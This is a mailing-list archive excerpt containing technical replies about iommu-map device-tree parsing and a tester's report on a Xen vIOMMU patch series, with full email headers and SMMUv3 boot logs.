>> The new code detects exactly this pattern (same target phandle across all entries, length always 1)
>> and falls back to treating the map as 1-cell output for backward compatibility â€” hence the pr_warn_once.
>> It's harmless and expected, your RIDs still resolve to the correct SIDs (0 â†’ 0x1480, 0x100 â†’ 0x1481).
>>
>> The second message is a different case and shouldn't be coming from this same map â€” once the 1-cell
>> fallback triggers on the first entry, it applies to the whole map, so you shouldn't hit both warnings
>> together on the same node. That error only fires for a genuine 2-cell output specifier combined with
>> an id_len > 1, e.g.:
>>
>> iommu-map = <0x0 &apps_smmu 0x1480 0x1 0x100>;
>>
>> (<id-base, phandle, out0, out1, length=256>) â€” which isn't supported, since there's no way to
>> linearly scale a multi-cell output specifier across a range of IDs.
>>
>> Are you seeing that second error on the same pcie node, or a different one?
>> If it's the same node, can you share the exact iommu-map entry that triggers it?
> 
> I think Neil is saying he bypassed the fallback check so that it *did* try to parse the given map with the real #iommu-cells=2 in precisely the way you've shown - so even if it could have got past that point, it would have then blown trying to parse the second "entry" of just <&apps_smmu 0x1481 0x1>, since 0x1481 almost certainly isn't a valid phandle to read an #iommu-cells value from.
> 
> Cheers,
> Robin.

Right, I get it now, so when it tried to parse with iommu-cells as 2,

iommu-map = <0     &apps_smmu 0x1480 0x1>,
            <0x100 &apps_smmu 0x1481 0x1>;

Above tuples would look something like <0  &apps_smmu 0x1480 0x1 0x100>, where 0x100 from next tuple would be seen as length. Hence, the above error log.
And the next tuple <&apps_smmu 0x1481 0x1> won't be able to get parsed as you mentioned.


Thanks,
Vijay













From xen-devel-bounces@lists.xenproject.org Tue Jul 28 10:59:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 10:59:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372370.1619726 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wofWi-0000vL-8v; Tue, 28 Jul 2026 10:59:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372370.1619726; Tue, 28 Jul 2026 10:59:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wofWi-0000vE-5p; Tue, 28 Jul 2026 10:59:12 +0000
Received: by outflank-mailman (input) for mailman id 1372370;
 Tue, 28 Jul 2026 10:59:11 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <a-kumar2@ti.com>) id 1wofWg-0000u3-OW
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:59:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wofWg-00B1il-5H
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:59:10 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <a-kumar2@ti.com>)
 id 6a688b6b-5cb7-0a2a0a5109dd-0a2a450bd25a-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:59:08 +0200
Received: from [148.163.154.28] (helo=mx0b-0002e601.pphosted.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <a-kumar2@ti.com>)
 id 6a688b7a-b7e8-0a2a450b0019-94a39a1cacfe-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 12:59:07 +0200
Received: from pps.filterd (m0374956.ppops.net [127.0.0.1])
 by mx0b-0002e601.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66SAfqT23461992; Tue, 28 Jul 2026 05:58:58 -0500
Received: from cy7pr03cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11010067.outbound.protection.outlook.com
 [40.93.198.67])
 by mx0b-0002e601.pphosted.com (PPS) with ESMTPS id 4fpseg8g2n-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT);
 Tue, 28 Jul 2026 05:58:58 -0500 (CDT)
Received: from SJ2PR07CA0020.namprd07.prod.outlook.com (2603:10b6:a03:505::19)
 by PH0PR10MB997617.namprd10.prod.outlook.com (2603:10b6:510:383::21)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 10:58:55 +0000
Received: from SJ5PEPF0000020A.namprd05.prod.outlook.com
 (2603:10b6:a03:505:cafe::92) by SJ2PR07CA0020.outlook.office365.com
 (2603:10b6:a03:505::19) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Tue,
 28 Jul 2026 10:58:55 +0000
Received: from flwvzet200.ext.ti.com (198.47.21.194) by
 SJ5PEPF0000020A.mail.protection.outlook.com (10.167.244.43) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Tue, 28 Jul 2026 10:58:54 +0000
Received: from DFLE213.ent.ti.com (10.64.6.71) by flwvzet200.ext.ti.com
 (10.248.192.31) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Tue, 28 Jul
 2026 05:58:53 -0500
Received: from DFLE214.ent.ti.com (10.64.6.72) by DFLE213.ent.ti.com
 (10.64.6.71) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Tue, 28 Jul
 2026 05:58:53 -0500
Received: from lelvem-mr05.itg.ti.com (10.180.75.9) by DFLE214.ent.ti.com
 (10.64.6.72) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37 via Frontend
 Transport; Tue, 28 Jul 2026 05:58:53 -0500
Received: from [10.24.50.243] (uda0543015.dhcp.ti.com [10.24.50.243])
 by lelvem-mr05.itg.ti.com (8.18.1/8.18.1) with ESMTP id 66SAwnwd3174665;
 Tue, 28 Jul 2026 05:58:50 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=proofpoint-05-2026 header.d=ti.com header.i="@ti.com" header.h="CC:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector1 header.d=ti.com header.i="@ti.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=
	proofpoint-05-2026; bh=TibgPS++9FfXpZf9mM3lLS9tHvMhA0yWBeGVgpWpB
	xQ=; b=iOMH4qlKPTxixSaYqf/eniZiselrJbh5BFybcNEk1FrHhjAvQsYxfWhaO
	F/YsC8pabjVOwhYmvzTpXwA0faBNwNCr5ksMgtj2ZPknsUPhaFtSqVgQP4xjjAWw
	3NIe/6gVXT9sXGZeKDiOL6vhsFKgLhWTC3gLniIOxSujdBMKe+3xJcUGeT9ty3Xz
	+x+e4NHphWUxZcSCeyft5lzBEy+RkZtykWjXmeh0bDifRcM/2P8BX8jxenmEzhHf
	sN5HOSQTagdMWBhfQjCxsoxwLd6DHlsbm5uyIb4FJM6MS9Smaiiq9fVMe4txuXwz
	aOBhvRj8XiY96Akd+TEt4pzHMzgGQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=V8Z9iUNUJluFH7Tec6jJv12GdR/kRI5oeoBS6YUi10pmznrf+fC10efG5J5dCRbEduE06kletbGnDyFw0pHRCTHpIBnWWJFnGSlN2q6la88UIb1U2lwCT/+IYwFg6Kne6Pw4QDN9Akuf3nDFU1II/6gf2en9X6c0TVevLcuarbcWWI5kTD1eJibHaQwSMWgy3nQVX1Y/w75NXVmeOVlf/pTe0+UzG5KC1GrnX1CM9irD5VCGPYJX8XDQwMi1ePX1+TFMM0faVVfpORHR+6rHmVOfJq6kT2UVXgBBFJC5lxiTXWCxspj8fDqvNc8q907QzR3jRsTOsW7HBiGGJLhZWg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=TibgPS++9FfXpZf9mM3lLS9tHvMhA0yWBeGVgpWpBxQ=;
 b=Xh4/gl7mmJF9agXlh8691C3bekEwBk1ptwxmkUycXzsugAEa1bnsTrO+UPtN7uCRMAqAHrRcqe/8G/HBVXOO4xJzcxDFI6IgBhmrRDEqciIEn1IqIPXnjkuogIFxLodHk0aC0HZpNag3A7IOErkymYB2slBarED4KUwVtg0XcQ9SwXuw1fbI0A//+wNa5JBoJrOZ6YM+dCOxfksvba26UpvmIACAPIu6iUNoySHbCtQZiTFpQBKXBLRm8JqzjMsGuL+opk/8k0rlHGoFovWwngPKr5EcdEMQ6lKTQ65E0K+Q26dKVLiKf+GKLLYtt4YRFFPVNc2g+1aIy5aQNWKMrg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 198.47.21.194) smtp.rcpttodomain=kernel.org smtp.mailfrom=ti.com; dmarc=pass
 (p=quarantine sp=none pct=100) action=none header.from=ti.com; dkim=none
 (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=TibgPS++9FfXpZf9mM3lLS9tHvMhA0yWBeGVgpWpBxQ=;
 b=vtzKFbroMaybv7QAXu2YQacyANW35qbgzRNhldWQ15sMNuLvIQnUprM7iYiRvQxVkPMoez9nb4izFZjsJdLpgEm++ulU2qefVUwcrl7454Su06GBPutqWDRB7XJkG/cY4DtWXnZjt3SIMbrDKcs/clf+x8QbIRufk3dHvvJe9oA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 198.47.21.194)
 smtp.mailfrom=ti.com; dkim=none (message not signed) header.d=none;dmarc=pass
 action=none header.from=ti.com;
Received-SPF: Pass (protection.outlook.com: domain of ti.com designates
 198.47.21.194 as permitted sender) receiver=protection.outlook.com;
 client-ip=198.47.21.194; helo=flwvzet200.ext.ti.com; pr=C
Message-ID: <5681cfaf-abfd-43ad-982f-dec63882c478@ti.com>
Date: Tue, 28 Jul 2026 16:28:49 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 23/23] doc/arm: vIOMMU design document
To: Milan Djokic <milan_djokic@epam.com>,
        "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Andrew Cooper <andrew.cooper3@citrix.com>,
        Anthony PERARD
	<anthony.perard@vates.tech>,
        Michal Orzel <michal.orzel@amd.com>, Jan Beulich
	<jbeulich@suse.com>,
        Julien Grall <julien@xen.org>,
        =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
        Stefano Stabellini
	<sstabellini@kernel.org>
References: <cover.1774918270.git.milan_djokic@epam.com>
 <06d3f9dd178c40b9b2360c24cc2ed55f9559eba6.1774918270.git.milan_djokic@epam.com>
Content-Language: en-US
From: abhash <a-kumar2@ti.com>
In-Reply-To: <06d3f9dd178c40b9b2360c24cc2ed55f9559eba6.1774918270.git.milan_djokic@epam.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 8bit
X-C2ProcessedOrg: 333ef613-75bf-4e12-a4b1-8e3623f5dcea
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF0000020A:EE_|PH0PR10MB997617:EE_
X-MS-Office365-Filtering-Correlation-Id: 0c1654e9-c0df-4e25-50e4-08deec973764
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|36860700016|1800799024|376014|82310400026|10067099003|56012099006|4143699003|6133799003|22082099003|18002099003|43062017;
X-Microsoft-Antispam-Message-Info:
	95U+BwOnMsxIFOyK7lsSgV6m3kmAH1yl2gXbo8uftwhY8XAr3rZXvsD2dDHpEpEbEw9k0LCvGj4XJkeFy0KjI1E7z+bRtScdDcwqBHbdu3WJK6EFPNUnLvBtkEM00aRU1h+98YgaowCzdHYcE36vienG3eCpftyU75fwfIkQrOCX5aETzpmXZrjN0c3EzVvlu4E9qhDdlg8nIqto1xmbQsICVN+z2Z8MJ1Wr2WtxGSDWPRuPmtxEmbFK1/ct0Zq2/wMuAHwmukTRGDG1XoDNyPy7FeumI0gpt12iY59kluZskvBqawF4SgXaE/tx4+GOqcqRJ0NXS4MQP/2xDDVeIINtdnXp/dbypALGNH+rFJmG+IsteC51pWDC4jXiAuaaX6RzY7O0/oydVu0iIkeLtXLntWdMbBh5pkfxT7fMhSDk/vrUzs0XRFBQpC5s2xvbfUnRXW/zFvtk0iGM57btMxT8LxHhS/JJRlic53zQGCHFUKg0g248OK3gcbfZtfiLEWICWNaXFddG6KIxb3126qdZ6wXTMssgpgFxYUuvS4cSWs+mTyA5+usCDAfMCsFHA4TjZ3/ouiyTmd7TbAhxUA0oMTcDi7e1HdHkJENEK4mGJNQ8EPWlqqyYeGMGkg0/GG0mcJwps6qHIdMWXvh4wOvLBEZzKPLWrf9KgXhUx44p7RjS5k4gO3ZwCoctBFf2Qg+In7R08EuWmrwxAtJHBIKoJbj/y9cl4eUmaxnJYIPsqZN5RSF+LRJDy1F0tWYy
X-Forefront-Antispam-Report:
	CIP:198.47.21.194;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:flwvzet200.ext.ti.com;PTR:ErrorRetry;CAT:NONE;SFS:(13230040)(23010399003)(36860700016)(1800799024)(376014)(82310400026)(10067099003)(56012099006)(4143699003)(6133799003)(22082099003)(18002099003)(43062017);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	/INhg+88RBY7qU6Pb7a/D+d1sEf5KcayXFYWibc3fgg70r6cvkjyA+K6OX0V5TjE7XR64GM9ZS4aHmTfa0111/OrabH+5bjOdWAs478pFVsQIlSID0cmeSLrglY5urVBRHCF7oRUJpAa57r3+ZXBywqsFaAMBLIxBdxgsOdankTBSvW36qHvJC+hpJ3DDzQ8YOq5XEvhkgjOtwn2T3CBbiK4CyRcKPDGwBRuVuDGpsTDdlecoaQtNf2DEMlFZzNroL9Gd2bWriECPhLxtkNDfFyw2E21q2W2MZlcfTcYiqdt7XPrbOT9pi303T+/lV2Fwy1GwF5OtFWWxXJkGn9YSUbIrtpdVq7SSgfTMPXm69FZgk3aF364TirCMqeRIWfPwITYuV9t0WkGr0qabl6ckNEF4IYK+c+/JH9Y19V040unQeoBhZsQ0Ii0wNBgQ0/R
X-Exchange-RoutingPolicyChecked:
	VxL59uN385qqRkXurbW5BZUn8L7wfBiA5qdwytYquiujL7ky8ll9eoM/NHuj96CJHxzA7YAxPNlMktd4s/KUkP+2Ho62U3ggoQ+clDMIJYtwfVZOmIpxUI+ZyC/LjTg1VnplLi3+VPoMcHFcuT8OWjebKuTN+b32Ydl+OTox8jQa1B8UKf5fspvK41V5wLp8YJBw0nUB06TCUYXPM+H1IVnl5ACxVmLF5cgF2N+8dFKV7l7jTK/baaM/673XIGPkbpaN7X+tQ6i6pPJ3ihIgu/0vORzfFOp4Ed4b/4XMP4LG7C3HmNYltkywO8r69vZedmkVYjOu5FQJAZzhchF2Iw==
X-OriginatorOrg: ti.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 10:58:54.5459
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 0c1654e9-c0df-4e25-50e4-08deec973764
X-MS-Exchange-CrossTenant-Id: e5b49634-450b-4709-8abb-1e2b19b982b7
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=e5b49634-450b-4709-8abb-1e2b19b982b7;Ip=[198.47.21.194];Helo=[flwvzet200.ext.ti.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF0000020A.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR10MB997617
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA5NiBTYWx0ZWRfX/KIEJjRS46OR
 HLrV+CM7BnuM7/TDHTP4Im/aJk7FK7pmls1x9z6TmpGYz/BH4wWh9do1CEaPqRKAqqzXmx71XVA
 WsRRLfL8oJl6fvntuqkP5c/fd2lKZ6Y=
X-Proofpoint-GUID: xIdc2uKxFpGfQHGZjy9kXNpNZ7A5PjUY
X-Authority-Analysis: v=2.4 cv=Iu4utr/g c=1 sm=1 tr=0 ts=6a688b72 cx=c_pps
 a=wCygq6uL5kGpubmeL3zaNA==:117 a=iwqwCZQqcuTv3JOpYdM7/Q==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10
 a=V5UXEbMT0ywA:10 a=VkNPw1HP01LnGYTKEx00:22 a=Z8NIEmU8O1QQgoT56wFK:22
 a=jwouBfj2j3NM8CExmVVE:22 a=tOTIRDCx1H2e1NstFlYA:9 a=3ZKOabzyN94A:10
 a=QEXdDO2ut3YA:10
X-Proofpoint-ORIG-GUID: xIdc2uKxFpGfQHGZjy9kXNpNZ7A5PjUY
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA5NiBTYWx0ZWRfXxT0ggkCCjuUT
 5lGEuOFHfxLbvVKVo1d4xvnX823zxhEvJrFazl113uEQJxXy4zgIjHM50Z+uIiuuJ3TtBl2mwjH
 rGcuTcBLT4c20diGoL92vgXZAW2CtXX2MgEaO7ova3nq+mRsRjdjNkpz23LcmBgp86moQqag2Ha
 Lr2GPFWsOi5DKIEXDF/g2QsdlbZ2OrPF3Y6p1+DMt/gpz8WSYcTeyOUM1XzLXPEbtLCHcSU2ZMu
 FuhTzVhndWR6wVeDWtUhtBRJoIfoIcibj8VqpjxxINoZZ12FGYs6B7GO541TAQ74aHm1VTuXQfq
 C51n5YcH6PnOUKg4mKNzG4/E1Ng4OMpJeflAgqoOn5wPhWf5oNPLJsITVVFvYgzXulgYI4EV7Td
 1zHCxgXvikMMzH6Z08cK1+emFDUMqAwOuX+a0yBzKdVf2waSXFS7xuVi+Qoi8rsv3GwWPLkvZQC
 K3DJLLaylwmktJC2sXQ==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_02,2026-07-28_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 adultscore=0 spamscore=0 clxscore=1011 impostorscore=0
 bulkscore=0 phishscore=0 priorityscore=1501 lowpriorityscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280096
X-purgate-ID: tlsNG-42698a/1785236348-AB8D19EA-167E118C/0/0
X-purgate-type: clean
X-purgate-size: 1704

> +Performance Impact
> +==================
> +
> +With iommu stage-1 and nested translation inclusion, performance
> +overhead is introduced comparing to existing,
> +stage-2 only usage in Xen. Once mappings are established, translations
> +should not introduce significant overhead.
> +Emulated paths may introduce moderate overhead, primarily affecting
> +device initialization and event/command handling.
> +Testing is performed on Renesas R-Car platform.

Hi Milan,

I tested this series on a TI platform. I was not able to get the DMA 
test inside a DOM1 guest

to work with nested virtualization.


On the top level, my changes are:

- Enabled CONFIG_VIRTUAL_IOMMU and CONFIG_VIRTUAL_ARM_SMMU_V3 in Xen

- Added viommu=true in xen-bootargs

- Added a "smmu" node in my DOM1 passthrough node, so that it can be 
replaced by the viommu.

- Added "iommus" for my DMA controller.


I can see that the smmuv3 is probed successfully inside of DOM1 and my 
dma-controller is added to the iommu group.

""

[Â  Â  0.161594] arm-smmu-v3 4040000.iommu: probing device
[Â  Â  0.162067] arm-smmu-v3 4040000.iommu: ias 48-bit, oas 48-bit 
(features 0x0000020d)
[Â  Â  0.162993] arm-smmu-v3 4040000.iommu: allocated 65536 entries for cmdq
[Â  Â  0.163730] arm-smmu-v3 4040000.iommu: allocated 32768 entries for evtq
[Â  Â  0.164281] arm_smmu_device_reset
[Â  Â  0.164559] ARM_SMMU_GBPA reg = 0
[Â  Â  0.164924] smmu->evtq.q.q_base = 45a0000f
[Â  Â  0.165609] platform 30100000.dma-controller: Adding to iommu group 0

""


Did you have any changes in the kernel tree as well?

Could you provide the testing setup that you used?


Best Regards,

Abhash



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 11:01:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 11:01:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372381.1619735 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wofYz-0002cT-Mz; Tue, 28 Jul 2026 11:01:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372381.1619735; Tue, 28 Jul 2026 11:01:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wofYz-0002cM-KN; Tue, 28 Jul 2026 11:01:33 +0000
Received: by outflank-mailman (input) for mailman id 1372381;
 Tue, 28 Jul 2026 11:01:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <a-kumar2@ti.com>) id 1wofYy-0002cD-5H
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 11:01:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wofYx-006kul-Hz; Tue, 28 Jul 2026 13:01:31 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <a-kumar2@ti.com>)
 id 6a688c04-e002-0a2a0a5209dd-0a2a45068a40-38
 for <multiple-recipients>; Tue, 28 Jul 2026 13:01:31 +0200
Received: from [148.163.154.28] (helo=mx0b-0002e601.pphosted.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <a-kumar2@ti.com>)
 id 6a688c0a-195a-0a2a45060019-94a39a1c812e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 13:01:31 +0200
Received: from pps.filterd (m0374955.ppops.net [127.0.0.1])
 by mx0b-0002e601.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66SAfxo53789008; Tue, 28 Jul 2026 06:01:18 -0500
Received: from sa9pr02cu001.outbound.protection.outlook.com
 (mail-southcentralusazon11013016.outbound.protection.outlook.com
 [40.93.196.16])
 by mx0b-0002e601.pphosted.com (PPS) with ESMTPS id 4fpseb0g1k-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT);
 Tue, 28 Jul 2026 06:01:18 -0500 (CDT)
Received: from BN0PR10CA0029.namprd10.prod.outlook.com (2603:10b6:408:143::7)
 by DM3PR10MB7972.namprd10.prod.outlook.com (2603:10b6:0:43::6) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.12; Tue, 28 Jul 2026 11:01:14 +0000
Received: from BN2PEPF000044A3.namprd02.prod.outlook.com
 (2603:10b6:408:143:cafe::76) by BN0PR10CA0029.outlook.office365.com
 (2603:10b6:408:143::7) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Tue,
 28 Jul 2026 11:01:14 +0000
Received: from lewvzet201.ext.ti.com (198.47.23.195) by
 BN2PEPF000044A3.mail.protection.outlook.com (10.167.243.154) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Tue, 28 Jul 2026 11:01:14 +0000
Received: from DLEE202.ent.ti.com (157.170.170.77) by lewvzet201.ext.ti.com
 (10.4.14.104) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Tue, 28 Jul
 2026 06:01:11 -0500
Received: from DLEE206.ent.ti.com (157.170.170.90) by DLEE202.ent.ti.com
 (157.170.170.77) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Tue, 28 Jul
 2026 06:01:11 -0500
Received: from lelvem-mr06.itg.ti.com (10.180.75.8) by DLEE206.ent.ti.com
 (157.170.170.90) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37 via Frontend
 Transport; Tue, 28 Jul 2026 06:01:11 -0500
Received: from [10.24.50.243] (uda0543015.dhcp.ti.com [10.24.50.243])
 by lelvem-mr06.itg.ti.com (8.18.1/8.18.1) with ESMTP id 66SB18cq2545145;
 Tue, 28 Jul 2026 06:01:08 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=proofpoint-05-2026 header.d=ti.com header.i="@ti.com" header.h="CC:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector1 header.d=ti.com header.i="@ti.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=
	proofpoint-05-2026; bh=IoyeHsoIdyoRGfYFuEUfgAUK6J0sRslzkFq1xLXTo
	R4=; b=eAgwG1mXku54q7LkQernOh2qQ69bGsAy03GKHDt+CS4VyaU/+xkFTFGz1
	giwtbCQUFxgGYycEAPdND8q3kqOJkjWO32iV6T0zb+DHFulQ1SYzHZRVdx8Iu2ke
	WPXlhFhTFK9f/0BnMhopvi4VmHtJWu7b44PviNC482lPkcq8fFyYYUk/GIvsHBC3
	gIwuvpr1WUarodPJPQU0FVgWjgjrh3bdV6qatwmsGEdftcD02xQQLTtA36OW9Z+l
	8jBG9SWruCkTQWr63tzdPv7Qk9bxmBBULVuPRSxKaBpC3DInPqJO7vUZ+FU6eTHt
	7DJ9QT24Hn4KELdNNqLknIOHFoQJg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ap3l8dRrlNIQNJYuQKZ+4m1XpAJVZGswm1qHOqQIU6aGFUm+9WUM5UnGMgzOFFz9FIbUwbaFsOYlDRjnEWOBLmUWAzkAteDFll4VTzHrtT+8PonfT4UvqwIFLSnwlXkiXdu8GfODeAv1VTN+L1FIfMAzbESGX34mq/9LQTlWUpTTR7RHI21bOJ6uxmRV61T7OEtPztfF9BkWIN9pul6M5rI/qB5pfhrhcDQPPi4wghXfbFrIixZL6lT5PytP5wi9xKF861lQZB1wZ1Env7Njgv+/c32SfeEoZJJOwPEQIl8NqJHGfNGKa0j0FVPfKlibDODSZ/i/Q/HlHm5pezS+IA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
